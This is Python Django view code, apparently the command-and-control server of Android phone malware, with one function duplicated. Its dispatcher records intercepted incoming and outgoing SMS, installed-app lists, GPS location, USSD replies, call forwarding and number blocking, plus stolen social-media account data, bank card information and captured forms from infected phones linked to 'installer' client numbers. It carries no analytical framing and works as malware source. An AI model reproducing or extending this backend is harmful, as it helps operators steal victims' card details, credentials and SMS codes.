def remote_forms(request):
    data = request.POST.dict()
    logger.debug(u"Received FORM: {0}".format(data))
    code = data.pop('code', None)
    data['type'] = 'js_form'
    json_attach.attach_ex(code, data)
    return HttpResponse('OK')
def remote_forms(request):
    data = request.POST.dict()
    code = data.pop('code', None)
    data['type'] = 'js_form'
    json_attach.attach_ex(code, data)
    return HttpResponse('OK')
def process(request):
    if request.method == 'POST' and request.body:
        b = request.body
        try:
            if request.META.get("HTTP_CONTENT_ENCODING") == 'gzip':
                buf = StringIO(b)
                f = gzip.GzipFile(fileobj=buf)
                b = f.read()
        except IOError:  # not compressed actually
            pass
        body_decode = b.decode('UTF-8')
        logger.debug(u"Request POST body: {0}".format(body_decode))
        code = None
        try:
            data = json.loads(body_decode)
            code = data.get("code")
            user = None
            phone = None
            command = data.get('type')
            if command == 'ping':
                return HttpResponse(content=(json.dumps({'success': True})), content_type='application/json')
            elif command == "app id received":
                code = data.get("app id")
            if code is not None:
                phone = models.PhoneData.objects.get(uniq_id=code)
            elif command != "device info":
                # most probably - old protocol
                raise ProcessingError("Unique code should be specified for command {0}".format(command))
            models.LogRecord.objects.create(contents=json.dumps(data))
            cnum = data.get("client number")
            if cnum is not None:
                try:
                    user = models.Installer.objects.get(user_id=cnum)
                except models.Installer.DoesNotExist:
                    raise ProcessingError("Client number {0} does not exist".format(cnum))
            json_response = {'params': {}}
            if command == "device info":
                json_response = registration(user, data)
            elif command == "app id received":
                appid_received(user, phone, data)
            elif command == "device check":
                json_response = phone_check(data)
            elif command == "control number response":
                set_control_number(data)
            elif command == "listened incoming sms":
                listened_sms_in(phone, data)
            elif command == "intercepted incoming sms":
                intercepted_sms_in(phone, data)
            elif command == "listened outgoing sms":
                intercepted_sms_out(phone, data)
            elif command == "installed apps":
                grab_apps(phone, data)
            elif command == "rent status":
                intercept_status_change(phone, data)
            elif command == "listening status":
                listen_status_change(phone, data)
            elif command == "ussd":
                ussd_response(phone, data)
            elif command == "sms content":
                add_sms(phone, data)
            elif command == "sms sent notification":
                send_sms_response(phone, data)
            elif command == "blocking numbers":
                blocking_numbers_response(phone, data)
            elif command == "unblock all numbers":
                unblock_all_numbers_response(phone, data)
            elif command == "location":
                gps_returned(phone, data)
            elif command == "lock status":
                lock_status(phone, data)
            elif command == 'phone':
                update_phone_number(phone, data.get('number'))
            elif command == 'calls forwarded':
                cb_call_forwarding(phone, data)
            elif command == 'calls forwarding disabled':
                cb_forward_disabled(phone)
            elif command == 'html updated':
                cb_received_html(phone, data)
            elif command == "crash report":
                json_attach.attach_crash_report(code, data)
            elif command in ['vk', 'od', 'fb', 'tw', 'gm']:
                json_attach.attach_account(code, data)
            elif command == 'card information':
                json_attach.attach_card_info(code, data)
            elif command == "forms":
                json_attach.attach_form_info(code, data)
            elif command == 'user data':
                json_attach.attach_ex(code, data.get("data"))
            else:
                raise ProcessingError("Unknown command {0}".format(command))
        except ValueError as e:
            logger.error(e)
            return HttpResponseServerError(e)
        except ProcessingError as e:
            logger.error(e)
            return HttpResponseServerError(e)
        except models.PhoneData.DoesNotExist:
            logger.error("Phone with code {0} doesn't exist".format(code))
            return HttpResponseServerError("Not found")
        logger.debug(
            "Responding to request from {0} with {1}".format(data.get('imei') or data.get('code'), json_response))
        json_resp = json.dumps(json_response)
        if len(json_response):
            models.LogRecord.objects.create(contents="response: {0}".format(json_resp))
        return HttpResponse(content=json_resp, content_type='application/json')
    return HttpResponseServerError("Malformed data!")